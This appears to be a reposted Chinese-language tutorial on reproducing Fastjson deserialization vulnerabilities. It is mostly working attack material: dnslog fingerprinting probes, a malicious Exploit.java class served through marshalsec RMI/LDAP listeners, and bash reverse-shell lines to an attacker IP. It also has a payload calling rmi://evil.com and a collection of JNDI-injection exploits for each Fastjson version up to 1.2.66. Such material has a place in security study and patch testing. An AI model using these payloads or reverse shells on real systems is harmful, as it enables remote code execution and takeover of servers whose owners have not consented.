Fastjson漏洞復現


0x01:fastjson指紋識別

1. 報錯信息判斷fastjson

無特殊配置情況下fastjson,無正確的閉合會報錯,返回結果里有fastjson字樣。

image-20210806133705198

從上圖可以看出,我們使用了一個花括號,fastjson處理json時會返回報錯信息。

2. dnslog盲打判斷fastjson

有的小伙伴就問了,如果是配置了不返回報錯信息怎么辦?那這種情況就只有利用dnslog盲打了。

1595340536.png!small1595340537.png!small

這里有個小技巧就是,如果你批量檢查或者自己的dnslog里面有很多記錄。你可以這樣使用'baidu'.d1flzs.dnslog.cn,在dnslog前面加個名稱

盲打payload

1.2.67版本前

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

1.2.67版本后

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

img

POC:

要嵌套在里面zeo里面

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

3.通過DOS延遲方式

fastjson在版本<1.2.60在取不到值的時候會填充\u001a,發生DOS,我們可以構造請求,通過響應延遲來判斷是否使用的fastjson

無構造的正常請求返回時間,28ms(這里Fiddler演示,Burp可以通過Repeater模塊右下方觀察)

在這里插入圖片描述

構造錯誤的POST請求體返回時間,15ms(可見隨意的錯誤請求不奏效)

在這里插入圖片描述

通過 {“a”:"\x 觸發DOS,585ms,和正常的和錯誤的請求響應時間差太多,由此來判斷使用了fastjson解析器

在這里插入圖片描述

0x02:fastjson 1.2.24 反序列化導致任意命令執行漏洞

攻擊步驟

fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,並調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。

image-20200704111745527

主機A:存在fastjson反序列化漏洞的主機

主機C:為RMI/LDAP服務

主機B:為構造的惡意類(包含要執行的命令)

在整個遠程命令執行流程:

1、黑客使用payload攻擊主機A(該payload需要指定rmi/ldap地址)

2、主機A引發反序列化漏洞,發送了進行rmi遠程發放調用,去連接主機C

3、主機C的rmi服務指定加載主機B的惡意java類,所以主機A通過主機C的rmi服務最終加載並執行主機B的惡意java類

4、主機A引發惡意系統命令執行

漏洞復現

kali安裝java版本

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

編譯惡意類

javac Exploit.java

Exploit.java源碼如下

import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/hel10"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

然后開啟Web服務,讓rmi服務能夠獲取到惡意類。

image-20210806130721457

再開啟RMI服務監聽

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999

image-20210806132124297

這里如果要啟動LDAP服務的話,只需把上面命令中的RMI改成LDAP即可,例如:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.133:8888/#Exploit" 9999

然后利用payload攻擊目標主機

{
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.88.133:9999/Exploit",
 "autoCommit":true
 }
}

目標主機觸發反序列化漏洞,主動進行RMI遠程調用連接VPS,RMI指定加載的是VPS上的惡意java類,從而目標主機通過RMI服務遠程加載調用到了VPS上的惡意java類。

image-20210806132147402

攻擊成功。

image-20210806131413175

接着反彈shell試試

"/bin/bash","-c","exec 5<>/dev/tcp/192.168.88.133/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.88.133/1234 0>&1"

修改惡意的java類。

image-20210806132233116

成功反彈shell

image-20210806132254941

0x03:Fastjson<1.2.68遠程代碼執行漏洞

惡意java類

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

0x04:多版本payload集合

影響版本:

fastjson<=1.2.24

exp:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

影響版本:

fastjson<=1.2.41

前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)

exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

影響版本:

fastjson<=1.2.42

前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)

exp:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影響版本:

fastjson<=1.2.43

前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)

exp:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影響版本:

fastjson<=1.2.45

前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)

exp:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

影響版本:

fastjson<=1.2.47

exp:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}

影響版本:

fastjson<=1.2.62

exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

影響版本:

fastjson<=1.2.66

前提:
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)

exp:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

0x04:參考鏈接

https://www.cnblogs.com/dyanbk/p/14281460.html fastjson 1.2.24 反序列化導致任意命令執行漏洞

https://www.freebuf.com/articles/web/258253.html fastjson 1.2.24 反序列化 RCE 漏洞復現

https://zeo.cool/2020/07/04/紅隊武器庫!fastjson小於1.2.68全漏洞RCE利用exp/ 紅隊武器庫:fastjson小於1.2.68全漏洞RCE利用exp

https://www.cnblogs.com/mysticbinary/p/12788019.html fastjson 反彈shell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM